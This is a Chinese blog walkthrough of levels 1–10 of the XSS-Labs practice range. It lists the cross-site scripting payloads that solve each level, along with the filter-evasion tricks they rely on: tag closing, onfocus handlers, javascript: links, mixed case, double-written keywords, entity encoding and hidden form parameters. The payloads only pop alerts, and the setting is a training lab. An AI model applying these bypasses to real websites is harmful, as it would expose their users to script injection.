首页 > 其他分享 >《XSS-Labs》01. Level 1~10

《XSS-Labs》01. Level 1~10

时间:2023-10-02 22:12:46浏览次数:48  
标签:XSS 01 Level 题解 alert Labs &# onfocus payload

@

目录


靶场部署在 VMware - Win7。

靶场地址:https://github.com/do0dl3/xss-labs

只要手动注入恶意 JavaScript 脚本成功,就可以证明 xss 漏洞存在。
最简单的验证方法:<script>alert("xss");</script>

索引

  • Level-1:简单的 <script>alert('xss')</script>
  • Level-2:标签闭合构造 payload。
  • Level-3:onfocus 事件利用,js 伪协议。
  • Level-4:与 Level-3 没太大区别。
  • Level-5:<a> 标签 href 属性利用。
  • Level-6:大小写绕过。
  • Level-7:双写绕过。
  • Level-8:href 自动 Unicode 解码利用。
  • Level-9:与 Level-8 没太大区别。
  • Level-10:onfocus 利用,js 伪协议,表单属性。

Level-1

题解

查看网站源码,可以发现 GET 传递的 name 参数值插入了 html 里。

在这里插入图片描述

直接测试 payload

url + ?name=<script>alert('xss')</script>

在这里插入图片描述

Level-2

在这里插入图片描述

题解

先使用 <script>alert('xss')</script> 测试一下,未成功。

在这里插入图片描述

【ctrl】+【u】查看一下源码。可以看到第一个输出结果被 html 实体转义了,但 value 中的没有。

在这里插入图片描述

那就闭合标签来构造 payload

"> <script>alert(1)</script> <"

Level-3

在这里插入图片描述

题解

使用 <script>alert(1)</script> 测试。查看源码可以看到符号都被转义了。

在这里插入图片描述

那这里就利用 onfocus 事件绕过。利用这个事件来绕过 < 和 > 号的过滤来执行 js。

payload

' onfocus=javascript:alert() '

在这里插入图片描述

再次点击输入框就能执行脚本。

总结

JavaScript 中的事件是与 HTML 元素相关联的动作或发生的情况,可以通过 JavaScript 代码来捕获和处理。

事件可以是用户交互,例如鼠标点击、键盘按键,也可以是浏览器或文档的状态变化,例如文档加载完成或元素的属性改变。
事件处理允许程序员编写响应用户操作或应用程序状态变化的代码。

onfocus 事件

在这里插入图片描述

  • onfocus 事件在元素获得焦点时触发,最常与 <input><select><a> 标签一起使用。
  • 以上面图片为例,<input> 标签有输入框,当输入框被点击的时候,就会触发 myFunction() 函数。
  • 可以配合 javascript 伪协议来执行 js 代码。

Level-4

在这里插入图片描述

题解

原理与 Level-3 一样,只是要闭合的引号从单引号变成了双引号。

payload

" onfocus=javascript:alert() "

Level-5

在这里插入图片描述

题解

测试 " onfocus=javascript:alert() ",查看源码,过滤了 onfocus,且大小写绕过不管用。

在这里插入图片描述

利用 <a> 标签 href 属性。前提是【>】【<】【"】没失效。

payload

"> <a href=javascript:alert(1)>xss</a> <"

点击链接即可。

在这里插入图片描述

总结

<a> 标签 href 属性。

在这里插入图片描述

  • href 属性:当标签 <a> 被点击的时候,会触发跳转,上面是转跳到一个网站,也可以利用伪协议来触发执行一段 js 代码。

Level-6

题解

输入关键字测试一下:

onfocus <script> <a href=javascript:alert()>

在这里插入图片描述

可以看到都被过滤了。

但是可以大小写绕过。

oNfocus <sCript> <a hRef=jAvascript:alert()>

在这里插入图片描述

payload:任选其一即可。

"> <sCript>alert()</sCript> <"
" oNfocus=jAvascript:alert() "
"> <a hRef=jAvascript:alert()>xss</a> <"

Level-7

题解

传递下列关键字测试并查看源码。

oNfocus <sCript> <a hRef=jAvascript:alert()>

在这里插入图片描述

可以看到关键字被替换为空。

使用双写绕过。

payload

"> <scscriptript>alert()</scscriptript> <"

Level-8

在这里插入图片描述

题解

这题会把输入添加到一个链接。

除此以外过滤了很多东西。

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

在这里插入图片描述

利用 href 能自动 Unicode 解码的属性,可以使用伪协议插入一段 js 脚本。

在线Unicode编码解码:https://www.matools.com/code-convert-unicode

javascript:alert()
Unicode 编码:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

点击友情链接即可。

Level-9

在这里插入图片描述

题解

根据提示,添加 http:// 字样绕过检测。http:// 要用注释符注释。

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

Level-10

题解

先传递一个 <script>alert('xss')</script> 看看源码。

url + ?keyword=<script>alert('xss')</script>

在这里插入图片描述

都被转义了,但下面有几个隐藏的表单?

尝试用每个 name GET 传参。然后查看源码。

url + ?t_link=l&t_history=h&t_sort=s

在这里插入图片描述

可以看到有回显。那就利用这个表单构造 payload。

payload

url + ?t_sort=" onfocus=javascript:alert() type="text

燕语如伤旧国春,宫花一落已成尘。

——《隋宫燕》(唐)李益

标签:XSS,01,Level,题解,alert,Labs,&#,onfocus,payload
From: https://www.cnblogs.com/GCom/p/17740500.html

相关文章

  • P5015 [NOIP2018 普及组] 标题统计
    题目描述传送门凯凯刚写了一篇美妙的作文,请问这篇作文的标题中有多少个字符?注意:标题中可能包含大、小写英文字母、数字字符、空格和换行符。统计标题字符数时,空格和换行符不计算在内。输入格式输入文件只有一行,一个字符串\(s\)。输出格式输出文件只有一行,包含一个整数,即作......
  • P2824 [HEOI2016/TJOI2016] 排序
    针对区间排序,显然能够上值域线段树类似,但这里有个更强的做法。如果能转化成01序列,那么一个区间排序的时候,只需区间询问1的个数+区间修改就可以了。因为是排列,很清晰的二分一个mid,把大于等于它的设为1,小于它的设为0,再跑上面的算法,最后check一下询问位置是否为1即可。单调性?感性......
  • 升级Lync Server 2013到Skype for Business 2019(一)
    写在前面从本章起,我们将介绍如何使用迁移升级的方式,将LyncServer2013升级至SkypeforBusines2019。由于案例来自于真实场景,所以其中包含了详细的可落地的升级步骤,以及真实环境配置。升级背景由于SkypeforBusiness2019将不再支持持久聊天服务器(PersistentChatServer),那么......
  • 洛谷 P5811 - [IOI2019] 景点划分
    小清新构造题。不妨假设\(a\leb\lec\)。显然我们会让大小为\(a,b\)的部分连通,这样肯定是不劣的。建出DFS树,考虑其重心\(r\),如果\(r\)的某个子树大小\(\gea\),我们在这个子树内挑一个大小为\(a\)的连通块,在抠掉这个子树之外的部分挑一个大小为\(b\)的连通块即可。......
  • 题解 Codeforces Round 901 (Div. 1) / CF1874A~E
    题解CodeforcesRound901(Div.1)/CF1874A~E比赛情况:过了AB。赛后发现B是假复杂度。https://codeforc.es/contest/1874A.JellyfishandGameProblemAlice&Bob又在博弈,Alice手上有\(n\)个苹果,第\(i\)个苹果的价值是\(a_i\);Bob手上有\(m\)个苹果,第\(i\)......
  • P3956 [NOIP2017 普及组] 棋盘
    传送门P3956[NOIP2017普及组]棋盘不清楚曾师为什么把这个神奇的题目放在搜索\(search\)专栏,反正我用\(dijkstra\)水过去了,虽然\(dijkstra\)严格来说也是一种能够解决一般性最短路问题的算法。然后考虑这道题的建图。这道题来看首先是去除魔法的部分,一般地,任意一个点只......
  • P1514 [NOIP2010 提高组] 引水入城
    link搜索。首先先用\(dfs\)判断一下对于每一个点来说对应的可以覆盖的\(L,R\).假设题目一定存在一个解,所以一定会有该点覆盖的区间连续。设该区间为\(L,R\),若不是每一个点均会被覆盖,那么题目不会存在任何一个解。判断是否有解:跑一遍\(dfs\),记录每一个点被\(dfs......
  • P5682 [CSP-J 2019] 次大值
    题目描述传送门Alice有\(n\)个正整数,数字从\(1\simn\)编号,分别为\(a_1,a_2,\dots,a_n\)。Bob刚学习取模运算,于是便拿这\(n\)个数进行练习,他写下了所有\[a_i\bmoda_j(1\lei,j\len\wedgei\neqj)\]的值,其中\(\bmod\)表示取模运算。Alice想知道所有......
  • CSS-01 乱码
    造成乱码的问题是:文档保存的时候选择的编码方式和打开文档时使用的编码方式不一样。当然现在都是统一使用utf-8:万国码。正常文档格式:<!DOCTYPEhtml><head><metacharset="utf-8"><title>标题</title></head><body></body></html> ......
  • 2023-10-01-周日
    1),哟呵,已经是国庆第3天了,,,所以你感觉怎么样,,哈哈2),上午是继续完成PE_Worm那个project,,,,差不多13:00才搞完的然后中午回寝室吃饭睡觉吃的外卖,用了9元的优惠券刷了许久的短视频然后上床睡觉..可能是因为谁得不好吧,,所以昏昏沉沉的睡了很久3),下午继续去实验室学......